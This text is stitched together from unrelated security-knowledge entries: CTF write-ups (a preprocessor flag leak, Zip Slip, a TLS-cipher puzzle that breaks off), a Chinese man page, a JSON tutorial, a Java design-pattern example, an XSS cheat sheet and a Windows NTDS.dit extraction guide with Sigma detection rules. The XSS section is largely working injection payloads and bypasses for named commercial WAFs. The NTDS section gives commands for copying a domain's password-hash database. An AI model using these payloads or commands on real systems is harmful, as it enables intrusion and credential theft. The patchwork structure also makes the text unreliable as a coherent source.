__flag_txt2 = "__/flag.txt__"; #include "/flag.txt" #endif #if __has_include("/flag") char* __flag2 = "__/flag__"; #include "/flag" #endif #if __has_include("flag.h") char* __flag_h = "__/flag.h__"; #include "flag.h" #endif #if __has_include("flag.c") char* __flag_c = "__/flag.c__"; #include "flag.c" #endif int major = __GNUC__; int minor = __GNUC_MINOR__; int main() { return 0; } ``` The result: ```console root@kali:/media/sf_CTFs/kaf/Preflag# xxd -g 1 compiled | grep flag -A 5 -B 5 00001ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00002000: 01 00 02 00 00 00 00 00 23 23 4d 41 52 4b 45 52 ........##MARKER 00002010: 23 23 00 00 00 00 00 00 2f 74 6d 70 2f 35 64 66 ##....../tmp/5df 00002020: 63 39 61 38 32 2d 34 66 39 62 2d 34 32 63 37 2d c9a82-4f9b-42c7- 00002030: 38 62 39 62 2d 31 34 63 37 63 38 32 34 61 33 36 8b9b-14c7c824a36 00002040: 32 2e 63 00 5f 5f 66 6c 61 67 5f 5f 00 4b 41 46 2.c.__flag__.KAF 00002050: 7b 50 52 33 50 52 30 43 33 35 35 5f 4c 31 4b 33 {PR3PR0C355_L1K3 00002060: 5f 31 5f 42 30 35 35 7d 00 00 00 00 01 1b 03 3b _1_B055}.......; 00002070: 38 00 00 00 06 00 00 00 b4 ef ff ff 84 00 00 00 8............... 00002080: c4 ef ff ff ac 00 00 00 d4 ef ff ff 54 00 00 00 ............T... 00002090: b9 f0 ff ff c4 00 00 00 c4 f0 ff ff e4 00 00 00 ................ root@kali:/media/sf_CTFs/kaf/Preflag# strings compiled | grep KAF KAF{PR3PR0C355_L1K3_1_B055} ```
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH TSORT 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 tsort \- 进行拓扑排序 .SH 概述 \fBtsort\fP [\fI\,选项\/\fP] [\fI\,文件\/\fP] .SH 描述 .\" Add any additional description here .PP 输出一个完全有序的列表,其与先前给定文件中已有的部分排序顺序相一致。 .PP 如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SH 作者 由 Mark Kettenis 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/tsort> .br 或者在本地使用: info \(aq(coreutils) tsort invocation\(aq
sec-knowleage
## JSON ### 简介 - JavaScript 对象表示法(JavaScript Object Notation)。 - 存储和交换文本信息的语法。类似 XML。 - 比 XML 更小、更快,更易解析。 ### Json语法 ```js var jsonObject= { propertyName(属性名):value(值), //对象内的属性语法(属性名与属性值是成对出现的) functionName(函数名):fucntion(){.......} //对象内的函数语法(函数名与函数内容是成对出现的) } ``` - 数据在名称/值对中 `"":""` - 数据由逗号分隔 `"":"","":""` - 花括号保存对象 `{}` - 方括号保存数组 `[{},{}]` ### Json 方法 `JSON.stringify`(把JS对象转化为JSON对象) ```js let obj1 = { name:'qiu', age:24 } let obj2 = [ {name:'liu',age:24}, {name:'zhang',age:55} ] let obj = JSON.stringify(obj2) console.log(typeof obj,obj) //typeof 数据类型检测 ``` **注意**:json是一个字符串 `JSON.parse`(把JSON字符串转换为对象) ```js let jso = '{"employees": [{ "firstName":"Bill" , "lastName":"Gates" },{ "firstName":"George" , "lastName":"Bush" },{ "firstName":"Thomas" , "lastName":"Carter" }]}' let json = JSON.parse(jso) console.log(typeof json,json) ```
sec-knowleage
from pwn import * import binascii import hashlib code = {'A': '.-', 'B': '-...', 'C': '-.-.', 'D': '-..', 'E': '.', 'F': '..-.', 'G': '--.', 'H': '....', 'I': '..', 'J': '.---', 'K': '-.-', 'L': '.-..', 'M': '--', 'N': '-.', 'O': '---', 'P': '.--.', 'Q': '--.-', 'R': '.-.', 'S': '...', 'T': '-', 'U': '..-', 'V': '...-', 'W': '.--', 'X': '-..-', 'Y': '-.--', 'Z': '--..', '0': '-----', '1': '.----', '2': '..---', '3': '...--', '4': '....-', '5': '.....', '6': '-....', '7': '--...', '8': '---..', '9': '----.' } revcode={} for c in code: revcode[code[c]]=c def morse_dec(msg): res="" for word in msg.strip().split(): res=res+revcode[word] return res def morse_enc(msg): res="" for c in msg: res=res+code[c.upper()]+" " return res.strip() def decrypt(s): h=hex(int(morse_dec(s), 36)).strip("L")[2:] if len(h)%2==1: h="0"+h h=binascii.unhexlify(h) return h def base36encode(number): if not isinstance(number, (int, long)): raise TypeError('number must be an integer') if number < 0: raise ValueError('number must be positive') alphabet, base36 = ['0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', ''] while number: number, i = divmod(number, 36) base36 = alphabet[i] + base36 return base36 or alphabet[0] def encrypt(s): h=morse_enc(base36encode(int(binascii.hexlify(s), 16))) return h r=remote("morset.pwning.xxx", 11821) context.log_level="DEBUG" s=r.recvline() h=decrypt(s) print h h=h.split("SHA256")[1][1:].split(")")[0] print h #r.sendline(morse_enc(hashlib.sha256(h).hexdigest())) r.sendline(encrypt(hashlib.sha256(h).hexdigest())) s=r.recvline() print decrypt(s) r.recvall()
sec-knowleage
## 8. 状态(State) ### Intent 允许对象在内部状态改变时改变它的行为,对象看起来好像修改了它所属的类。 ### Class Diagram <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/79df886f-fdc3-4020-a07f-c991bb58e0d8.png"/> </div><br> ### Implementation 糖果销售机有多种状态,每种状态下销售机有不同的行为,状态可以发生转移,使得销售机的行为也发生改变。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/396be981-3f2c-4fd9-8101-dbf9c841504b.jpg" width="600"/> </div><br> ```java public interface State { /** * 投入 25 分钱 */ void insertQuarter(); /** * 退回 25 分钱 */ void ejectQuarter(); /** * 转动曲柄 */ void turnCrank(); /** * 发放糖果 */ void dispense(); } ``` ```java public class HasQuarterState implements State { private GumballMachine gumballMachine; public HasQuarterState(GumballMachine gumballMachine) { this.gumballMachine = gumballMachine; } @Override public void insertQuarter() { System.out.println("You can't insert another quarter"); } @Override public void ejectQuarter() { System.out.println("Quarter returned"); gumballMachine.setState(gumballMachine.getNoQuarterState()); } @Override public void turnCrank() { System.out.println("You turned..."); gumballMachine.setState(gumballMachine.getSoldState()); } @Override public void dispense() { System.out.println("No gumball dispensed"); } } ``` ```java public class NoQuarterState implements State { GumballMachine gumballMachine; public NoQuarterState(GumballMachine gumballMachine) { this.gumballMachine = gumballMachine; } @Override public void insertQuarter() { System.out.println("You insert a quarter"); gumballMachine.setState(gumballMachine.getHasQuarterState()); } @Override public void ejectQuarter() { System.out.println("You haven't insert a quarter"); } @Override public void turnCrank() { System.out.println("You turned, but there's no quarter"); } @Override public void dispense() { System.out.println("You need to pay first"); } } ``` ```java public class SoldOutState implements State { GumballMachine gumballMachine; public SoldOutState(GumballMachine gumballMachine) { this.gumballMachine = gumballMachine; } @Override public void insertQuarter() { System.out.println("You can't insert a quarter, the machine is sold out"); } @Override public void ejectQuarter() { System.out.println("You can't eject, you haven't inserted a quarter yet"); } @Override public void turnCrank() { System.out.println("You turned, but there are no gumballs"); } @Override public void dispense() { System.out.println("No gumball dispensed"); } } ``` ```java public class SoldState implements State { GumballMachine gumballMachine; public SoldState(GumballMachine gumballMachine) { this.gumballMachine = gumballMachine; } @Override public void insertQuarter() { System.out.println("Please wait, we're already giving you a gumball"); } @Override public void ejectQuarter() { System.out.println("Sorry, you already turned the crank"); } @Override public void turnCrank() { System.out.println("Turning twice doesn't get you another gumball!"); } @Override public void dispense() { gumballMachine.releaseBall(); if (gumballMachine.getCount() > 0) { gumballMachine.setState(gumballMachine.getNoQuarterState()); } else { System.out.println("Oops, out of gumballs"); gumballMachine.setState(gumballMachine.getSoldOutState()); } } } ``` ```java public class GumballMachine { private State soldOutState; private State noQuarterState; private State hasQuarterState; private State soldState; private State state; private int count = 0; public GumballMachine(int numberGumballs) { count = numberGumballs; soldOutState = new SoldOutState(this); noQuarterState = new NoQuarterState(this); hasQuarterState = new HasQuarterState(this); soldState = new SoldState(this); if (numberGumballs > 0) { state = noQuarterState; } else { state = soldOutState; } } public void insertQuarter() { state.insertQuarter(); } public void ejectQuarter() { state.ejectQuarter(); } public void turnCrank() { state.turnCrank(); state.dispense(); } public void setState(State state) { this.state = state; } public void releaseBall() { System.out.println("A gumball comes rolling out the slot..."); if (count != 0) { count -= 1; } } public State getSoldOutState() { return soldOutState; } public State getNoQuarterState() { return noQuarterState; } public State getHasQuarterState() { return hasQuarterState; } public State getSoldState() { return soldState; } public int getCount() { return count; } } ``` ```java public class Client { public static void main(String[] args) { GumballMachine gumballMachine = new GumballMachine(5); gumballMachine.insertQuarter(); gumballMachine.turnCrank(); gumballMachine.insertQuarter(); gumballMachine.ejectQuarter(); gumballMachine.turnCrank(); gumballMachine.insertQuarter(); gumballMachine.turnCrank(); gumballMachine.insertQuarter(); gumballMachine.turnCrank(); gumballMachine.ejectQuarter(); gumballMachine.insertQuarter(); gumballMachine.insertQuarter(); gumballMachine.turnCrank(); gumballMachine.insertQuarter(); gumballMachine.turnCrank(); gumballMachine.insertQuarter(); gumballMachine.turnCrank(); } } ``` ```html You insert a quarter You turned... A gumball comes rolling out the slot... You insert a quarter Quarter returned You turned, but there's no quarter You need to pay first You insert a quarter You turned... A gumball comes rolling out the slot... You insert a quarter You turned... A gumball comes rolling out the slot... You haven't insert a quarter You insert a quarter You can't insert another quarter You turned... A gumball comes rolling out the slot... You insert a quarter You turned... A gumball comes rolling out the slot... Oops, out of gumballs You can't insert a quarter, the machine is sold out You turned, but there are no gumballs No gumball dispensed ```
sec-knowleage
# Brainers To Hire * Category: Web * 100 points ## Description > Layoffs are worldwide, but we're strong, have terrific customers, and have lots of money. > > So if you are unsatisfied with what you do, or you just like to be a millionaire upload your resume! ## Solution Didn't solve this one during the CTF, got the intended solution from the admin (🙏). A website was attached. The interesting part was: ```html <div class="container"> <h1 class="banner_taital">Adventure</h1> <p class="banner_text"> Layoffs are worldwide, but we're strong, have terrific customers, and have lots of money.So if you are unsatisfied with what you do, every company meeting is a slippery slope.If your colleagues are not your cup of tea, or you just like to be a millionaire zip it and join us! </p> <form id="upload_form" name="upload_form" method="post" enctype="multipart/form-data"> <div class="read_bt"> <input type="file" name="uploaded_file" onchange="handle_file()" placeholder="resume.." id="uploaded_file"> </div> </form> <p class="banner_text" id="upload_status"></p> </div> ``` What we have here is a form to upload a file, and a clear hint towards `zip` files. In addition, we have: ```javascript var form = document.getElementById("upload_form"); function handle_file() { var status = document.getElementById("upload_status"); var data = new FormData(form); fetch(form.action, { method: form.method, body: data, headers: { 'Accept': 'application/json' } }).then(response => { response.json() .then((data)=>{ if (data.flag) status.innerHTML = data.flag; else status.innerHTML = "Thanks for your submission!" ; form.reset() }) }).catch(error => { status.innerHTML = "Oops! There was a problem submitting your form" }); return false; } ``` We can see that if we trigger the flow on the server side to reveal the flag, we'll get it back in the response to the form upload. For standard uploads, we get: ```console ┌──(user@kali)-[/media/…/2/3/4/5] └─$ curl -F "uploaded_file=@test.zip" 'https://brainerstohire.appsecil.ctf.today/career' {"msg":"success","status":"ok"} ``` The vulnerability behind this challenge is [Zip Slip](https://security.snyk.io/research/zip-slip-vulnerability). This vulnerability allows attackers to override / leak files outside the base folder which is supposed to contain the extracted files. In our case we'll try to access `/flag` using the following technique: ```console ┌──(user@kali)-[/media/…/2/3/4/5] └─$ echo FakeFlag > ../../../../../flag ┌──(user@kali)-[/media/…/2/3/4/5] └─$ zip exploit1.zip ../../../../../flag adding: ../../../../../flag (stored 0%) ``` Once the application tries to extract `exploit1.zip`, the archived file would supposedly get extracted to `../../../../../flag`. Hopefully we're deep enough so that the path is equivalent to `/flag`. Let's upload it: ```console ┌──(user@kali)-[/media/…/2/3/4/5] └─$ curl -F "uploaded_file=@exploit1.zip" 'https://brainerstohire.appsecil.ctf.today/career' {"msg":"success","status":"ok","flag":"AppSec-IL{z1p_5l1p_is_a_5l1pp3ry_5l0p3}\n"} ``` In a real world scenario, `/flag` would probably have gotten overridden by the contents of our file though.
sec-knowleage
# XSS Cheat Sheet (Basic) ## Introduction Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There is 3 types of XSS Attack: - Reflected XSS Attack where the malicious script runs from another website through the web browser - Stored XSS Stored attacks are those where the injected script is permanently stored on the target servers - DOM-Based XSS A type of XSS that has payloads found in the DOM rather than within the HTML code. ## Where to find This vulnerability can appear in all features of the application. If you want to find Dom-based XSS, you can find it by reading the javascript source code. ## How to exploit 1. Basic payload ```html <script>alert(1)</script> <svg/onload=alert(1)> <img src=x onerror=alert(1)> ``` 2. Add ' or " to escape the payload from value of an HTML tag ```html "><script>alert(1)</script> '><script>alert(1)</script> ``` * Example source code ```html <input id="keyword" type="text" name="q" value="REFLECTED_HERE"> ``` * After input the payload ```html <input id="keyword" type="text" name="q" value=""><script>alert(1)</script> ``` 3. Add --> to escape the payload if input lands in HTML comments. ```html --><script>alert(1)</script> ``` * Example source code ```html <!-- REFLECTED_HERE --> ``` * After input the payload ```html <!-- --><script>alert(1)</script> --> ``` 4. Add </tag> when the input inside or between opening/closing tags, tag can be ```<a>,<title>,<script>``` and any other HTML tags ```html </tag><script>alert(1)</script> "></tag><script>alert(1)</script> ``` * Example source code ```html <a href="https://target.com/1?status=REFLECTED_HERE">1</a> ``` * After input the payload ```html <a href="https://target.com/1?status="></a><script>alert(1)</script>">1</a> ``` 5. Use when input inside an attribute’s value of an HTML tag but > is filtered ```html " onmouseover=alert(1) " autofocus onfocus=alert(1) ``` * Example source code ```html <input id="keyword" type="text" name="q" value="REFLECTED_HERE"> ``` * After input the payload ```html <input id="keyword" type="text" name="q" value="" onmouseover=alert(1)"> ``` 6. Use </script> when input inside ```<script>``` tags ```html </script><script>alert(1)</script> ``` * Example source code ```html <script> var sitekey = 'REFLECTED_HERE'; </script> ``` * After input the payload ```html <script> var sitekey = '</script><script>alert(1)</script>'; </script> ``` ## **XSS Cheat Sheet (Advanced)** 7. Use when input lands in a script block, inside a string delimited value. ```html '-alert(1)-' '/alert(1)// ``` * Example source code ```html <script> var sitekey = 'REFLECTED_HERE'; </script> ``` * After input the payload ```html <script> var sitekey = ''-alert(1)-''; </script> ``` 8. Same like Number 7. But inside a string delimited value but quotes are escaped by a backslash. ```html \'alert(1)// ``` * Example source code ```html <script> var sitekey = 'REFLECTED_HERE'; </script> ``` * If we input payload '-alert(1)-' it will be like this ```html <script> var sitekey = '\'-alert(1)-\''; </script> ``` The quotes are escaped by a backslash so we need to bypass them * After input the payload ```html <script> var sitekey = '\\'alert(1)//'; </script> ``` 9. Use when there’s multi reflection in the same line of JS code ```html /alert(1)//\ /alert(1)}//\ ``` * Example source code ```html <script> var a = 'REFLECTED_HERE'; var b = 'REFLECTED_HERE'; </script> ``` * After input the payload ```html <script> var a = '/alert(1)//\'; var b = '/alert(1)//\'; </script> ``` 10. Use when input inside a string delimited value and inside a single logical block like function or conditional (if, else, etc). ```html '}alert(1);{' \'}alert(1);{// ``` * Example source code ```html <script> var greeting; var time = 1; if (time < 10) { test = 'REFLECTED_HERE'; } </script> ``` * After input the payload ```html <script> var test; var time = 1; if (time < 10) { test = ''}alert(1);{''; } </script> ``` > Payload number 2 uses when quote escaped by backslash 11. Use when input lands inside backticks delimited strings ```html ${alert(1)} ``` * Example source code ```html <script> var dapos = `REFLECTED_HERE`; </script> ``` * After input the payload ```html <script> var dapos = `${alert(1)}`; </script> ``` 12. Uses when there is multiple reflections on same page. (Double Reflection) ```html 'onload=alert(1)><svg/1=' '>alert(1)</script><script/1=' */alert(1)</script><script>/* ``` * After input the payload ```html <!DOCTYPE html> <html> <body> 'onload=alert(1)><svg/1=' ... 'onload=alert(1)><svg/1=' </body> </html> ``` 13. Uses when there is multiple reflections on same page. (Triple Reflection) ```html */alert(1)">'onload="/*<svg/1=' `-alert(1)">'onload="`<svg/1=' */</script>'>alert(1)/*<script/1=' ``` * After input the payload ```html <!DOCTYPE html> <html> <body> */alert(1)">'onload="/*<svg/1=' ... */alert(1)">'onload="/*<svg/1=' ... */alert(1)">'onload="/*<svg/1=' </body> </html> ``` 14. XSS in filename (File Upload) Use when uploaded filename is reflected somewhere in target page ``` "><svg onload=alert(1)>.jpeg ``` 15. XSS in metadata (File Upload) Use when uploaded metada is reflected somewhere in target page (using exiftool) ``` $ exiftool -Artist='"><script>alert(1)</script>' dapos.jpeg ``` 16. XSS with SVG file (File Upload) ``` <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> ``` 17. XSS via markdown ``` [Click Me](javascript:alert('1')) ``` 18. XSS in XML page ``` <a:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</a:script> ``` > Add a "-->" to payload if input lands in a comment section > Add a "]]>" if input lands in a CDATA section ## **XSS Cheat Sheet (Bypass)** 19. Mixed Case ```html <Script>alert(document.cookie)</Script> ``` 20. Unclosed Tags ```html <svg onload="alert(1)" ``` 21. Uppercase Payloads ```html <SVG ONLOAD=ALERT(1)> ``` 22. Encoded XSS ```html (Encoded) %3Csvg%20onload%3Dalert(1)%3E (Double Encoded) %253Csvg%2520onload%253Dalert%281%29%253E (Triple Encoded) %25253Csvg%252520onload%25253Dalert%25281%2529%25253E ``` 23. JS Lowercased Input ```html <SCRİPT>alert(1)</SCRİPT> ``` 24. PHP Email Validation Bypass ```html <svg/onload=alert(1)>"@gmail.com ``` 25. PHP URL Validation Bypass ```html javascript://%250Aalert(1) ``` 26. Inside Comments Bypass ```html <!--><svg onload=alert(1)--> ``` ## Bypass WAF 1. Cloudflare ``` <svg%0Aonauxclick=0;[1].some(confirm)// <svg/onload={alert`1`}> <a/href=j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(1)&rpar;> "><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041; "><onx=[] onmouseover=prompt(1)> %2sscript%2ualert()%2s/script%2u "Onx=() onMouSeoVer=prompt(1)>"Onx=[] onMouSeoVer=prompt(1)>"/*/Onx=""//onfocus=prompt(1)>"//Onx=""/*/%01onfocus=prompt(1)>"%01onClick=prompt(1)>"%2501onclick=prompt(1)>"onClick="(prompt)(1)"Onclick="(prompt(1))"OnCliCk="(prompt`1`)"Onclick="([1].map(confirm)) [1].map(confirm)'ale'+'rt'()a&Tab;l&Tab;e&Tab;r&Tab;t(1)prompt&lpar;1&rpar;prompt&#40;1&#41;prompt%26%2300000000000000000040;1%26%2300000000000000000041;(prompt())(prompt``) <svg onload=alert%26%230000000040"1")> <svg onload=prompt%26%230000000040document.domain)> <svg onload=prompt%26%23x000000028;document.domain)> <svg/onrandom=random onload=confirm(1)> <video onnull=null onmouseover=confirm(1)> <a id=x tabindex=1 onbeforedeactivate=print(`XSS`)></a><input autofocus> <img ignored=() src=x onerror=prompt(1)> <svg onx=() onload=(confirm)(1)> <--`<img/src=` onerror=confirm``> --!> <img src=x onerror="a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]](document.domain)"> <j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x '"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'> '"><img/src/onerror=.1|alert``> :javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie Function("\x61\x6c\x65\x72\x74\x28\x31\x29")(); ``` 2. Cloudfront ``` ">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(`cloudfrontbypass`)//'> <--`<img%2fsrc%3d` onerror%3dalert(document.domain)> --!> "><--<img+src= "><svg/onload+alert(document.domain)>> --!> ``` 3. Cloudbric ``` <a69/onclick=[1].findIndex(alert)>pew ``` 4. Comodo WAF ``` <input/oninput='new Function`confir\u006d\`0\``'> <p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme ``` 5. ModSecurity ``` <a href="jav%0Dascript&colon;alert(1)"> ``` 6. Imperva ``` <input id='a'value='global'><input id='b'value='E'><input 'id='c'value='val'><input id='d'value='aler'><input id='e'value='t(documen'><input id='f'value='t.domain)'><svg+onload[\r\n]=$[a.value+b.value+c.value](d.value+e.value+f.value)> <x/onclick=globalThis&lsqb;'\u0070r\u006f'+'mpt']&lt;)>clickme <a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click <a69/onclick=write&lpar;&rpar;>pew <details/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"/open> <svg onload\r\n=$.globalEval("al"+"ert()");> <svg/onload=self[`aler`%2b`t`]`1`> %3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E <iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';> <img/src=q onerror='new Function`al\ert\`1\``'> <object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object> ``` 7. AWS ``` <script>eval(atob(decodeURIComponent(confirm`1`)))</script> ``` If you want to see the other payload for other WAF, check this [link](https://github.com/0xInfection/Awesome-WAF) ## References - [Brute Logic](https://brutelogic.com.br/) - [Awesome-WAF](https://github.com/0xInfection/Awesome-WAF) - Some random twitter posts
sec-knowleage
# T1003-003-win-使用vssown.vbs获得NTDS.dit文件 ## 来自ATT&CK的描述 攻击者可能试图访问或创建Active Directory域数据库的副本,以便窃取凭据信息,以及获取有关域成员(例如设备,用户和访问权限)的其他信息。默认情况下,NTDS文件(NTDS.dit)位于%SystemRoot%\NTDS\Ntds.dit域控制器中。 除了在活动的域控制器上查找NTDS文件之外,攻击者还可能搜索包含相同或相似信息的备份。 下列工具和技术可用于枚举NTDS文件和整个Active Directory哈希的内容。 - 卷影复制 - secretsdump.py - 使用内置的Windows工具ntdsutil.exe - 调用卷影副本 ### NTDS.dit Ntds.dit文件是存储Active Directory数据的数据库,包括有关用户对象,组和组成员身份的信息。它包括域中所有用户的密码哈希值。域控制器(DC)上的ntds.dit文件只能由可以登录到DC的用户访问。很明显,保护这个文件至关重要,因为攻击者访问这个文件会导致整个域沦陷。 **默认情况下,NTDS文件将位于域控制器的%SystemRoot%\NTDS\Ntds.dit中。**但通常存储在其他逻辑驱动器上)。AD数据库是一个Jet数据库引擎,它使用可扩展存储引擎(ESE)提供数据存储和索引服务。通过ESE级别索引,可以快速定位对象属性。 ## 测试案例 在2016+域控上使用 ntdsutil snapshot mount导出ntds.dit ### 创建快照 ```dos cscript vssown.vbs /start cscript vssown.vbs /create c cscript vssown.vbs /list copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\ cscript vssown.vbs /delete ``` ## 检测日志 windows 安全日志 ## 测试复现 ```dos C:\Users\Administrator\Desktop\test>cscript vssown.vbs /start Microsoft (R) Windows Script Host Version 5.812 版权所有(C) Microsoft Corporation。保留所有权利。 [*] Signal sent to start the VSS service. C:\Users\Administrator\Desktop\test>cscript vssown.vbs /create c Microsoft (R) Windows Script Host Version 5.812 版权所有(C) Microsoft Corporation。保留所有权利。 [*] Attempting to create a shadow copy. C:\Users\Administrator\Desktop\test>cscript vssown.vbs /list Microsoft (R) Windows Script Host Version 5.812 版权所有(C) Microsoft Corporation。保留所有权利。 SHADOW COPIES ============= [*] ID: {42C8E0BD-6FD9-4CFB-B006-4640DAE84DC8} [*] Client accessible: True [*] Count: 1 [*] Device object: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 [*] Differential: True [*] Exposed locally: False [*] Exposed name: [*] Exposed remotely: False [*] Hardware assisted: False [*] Imported: False [*] No auto release: True [*] Not surfaced: False [*] No writers: True [*] Originating machine: ICBC.abcc.org [*] Persistent: True [*] Plex: False [*] Provider ID: {B5946137-7B9F-4925-AF80-51ABD60B20D5} [*] Service machine: ICBC.abcc.org [*] Set ID: {584C48BF-649D-4B35-9CAE-3165C2C8BE53} [*] State: 12 [*] Transportable: False [*] Volume name: \\?\Volume{16da2094-7213-420f-a023-db7b3e3a7f6f}\ C:\Users\Administrator\Desktop\test>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ 已复制 1 个文件。 C:\Users\Administrator\Desktop\test>cscript vssown.vbs /delete Microsoft (R) Windows Script Host Version 5.812 版权所有(C) Microsoft Corporation。保留所有权利。 ``` ## 测试留痕 测试留痕日志下载地址:<https://github.com/12306Bro/Threathunting-book/blob/master/Eventdata/vssown.evtx> ## 检测规则/思路 ### sigma规则 ```yml title: 使用vssown.vbs拿到NTDS.dit文件 description: windows server 2016+ AD域控 tags: T1003-003 status: experimental author: 12306Bro logsource: product: windows service: security detection: selection: EventID: 4688 #已创建新的进程。 New processname: C:\Windows\System32\cscript.exe Process commandline: - cscript *.vbs /start #基于命令行检测 - cscript *.vbs /create c #基于命令行检测 - cscript *.vbs /delete #基于命令行检测 - cscript *.vbs /list #基于命令行检测 condition: selection --- detection: selection1: EventID: 4904 #已试图注册安全事件源。 Processname: C:\Windows\System32\VSSVC.exe Source name: VSSAudit #事件源 selection2: EventID: 8222 #已创建影子副本。 Process image name: C:\Windows\System32\wbem\WmiPrvSE.exe Raw volume: \\?\Volume{*}\ #"*"代表正则匹配 Shadow device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy* #"*"代表正则匹配 selection3: EventID: 4905 #已试图取消注册安全事件源。 Processname: C:\Windows\System32\VSSVC.exe Source name: VSSAudit #事件源 ​timeframe: last 10S #自定义时间范围 condition: all of them level: medium ``` ### 建议 此检测特征仅适用于windows AD域控主机。 ## 参考推荐 MITRE-ATT&CK-T1003-003 <https://attack.mitre.org/techniques/T1003/003> vssown.vbs下载地址 <https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs> 域渗透——获得域控服务器的NTDS.dit文件 <https://xz.aliyun.com/t/2187> MITRE ATT&CK攻击知识库(企业)中文版 <https://hansight.github.io/#/>
sec-knowleage
# somestufflsimportant * Category: Web Application * 500 Points * Solved by the JCTF Team ## Description > Can you find it? https://somestufflsimportant.challenges.bsidestlv.com/ ## Solution We access the site and get the following response: ```console root@kali:/media/sf_CTFs/bsidestlv/somestufflsimportant# curl https://somestufflsimportant.challenges.bsidestlv.com/ The Flag is: BSidesTLV{<strong>1 c</strong><br> ``` This was the only challenge with HTTPS, so we assumed it was related. However, we couldn't find any additional information or clues in the certificate, decrypted traffic or elsewhere. The breakthrough came when trying to access the website via TLS1.1: ```console # curl https://somestufflsimportant.challenges.bsidestlv.com/ --tlsv1.1 The Flag is: BSidesTLV{<strong>3 p</strong><br> ``` After isolating the behavior, it was revealed that each different cipher provides a different part of the flag. The following script tries all the ciphers OpenSSL has to offer: ```python import socket, ssl import http.client import subprocess import re FLAG_RE = re.compile("The Flag is: BSidesTLV{<strong>(\d+) (.+)</strong><br>") def send_request(cipher): res = None c = None try: context = ssl.create_default_context() context.set_ciphers(cipher) c = http.client.HTTPSConnection("somestufflsimportant.challenges.bsidestlv.com", context = context) c.request("GET", "/") response = c.getresponse() data = str(response.read()) match = FLAG_RE.search(data) if match: res = (match.group(1), match.group(2)) else: print ("\tWarning: The following response did not match the regex: {}".format(data)) except: pass if c is not None: c.close() print ("[{}] {}".format("V" if res is not None else "X", cipher)) return res flag_map = {} cipher_list = subprocess.check_output(['openssl', 'ciphers']).decode("ascii").strip() for cipher in cipher_list.split(":"): res = send_request(cipher) if res is None: continue index, char = res flag_map[int(index) - 1] = char max_index = max(flag_map) flag = ["?"] * (max_index + 1) for k, v in flag_map.items(): flag[k] = v print ("BSidesTLV{" + "".join(flag)) ``` Running it in Kali with a recent OpenSSL version provided the following result: ```console root@kali:/media/sf_CTFs/bsidestlv/somestufflsimportant# python3 solve.py [X] TLS_AES_256_GCM_SHA384 [X] TLS_CHACHA20_POLY1305_SHA256 [X] TLS_AES_128_GCM_SHA256 [X] ECDHE-ECDSA-AES256-GCM-SHA384 [V] ECDHE-RSA-AES256-GCM-SHA384 [X] DHE-RSA-AES256-GCM-SHA384 [X] ECDHE-ECDSA-CHACHA20-POLY1305 [X] ECDHE-RSA-CHACHA20-POLY1305 [X] DHE-RSA-CHACHA20-POLY1305 [X] ECDHE-ECDSA-AES128-GCM-SHA256 [V] ECDHE-RSA-AES128-GCM-SHA256 [X] DHE-RSA-AES128-GCM-SHA256 [X] ECDHE-ECDSA-AES256-SHA384 [V] ECDHE-RSA-AES256-SHA384 [X] DHE-RSA-AES256-SHA256 [X] ECDHE-ECDSA-AES128-SHA256 [V] ECDHE-RSA-AES128-SHA256 [X] DHE-RSA-AES128-SHA256 [X] ECDHE-ECDSA-AES256-SHA [V] ECDHE-RSA-AES256-SHA [X] DHE-RSA-AES256-SHA [X] ECDHE-ECDSA-AES128-SHA [V] ECDHE-RSA-AES128-SHA [X] 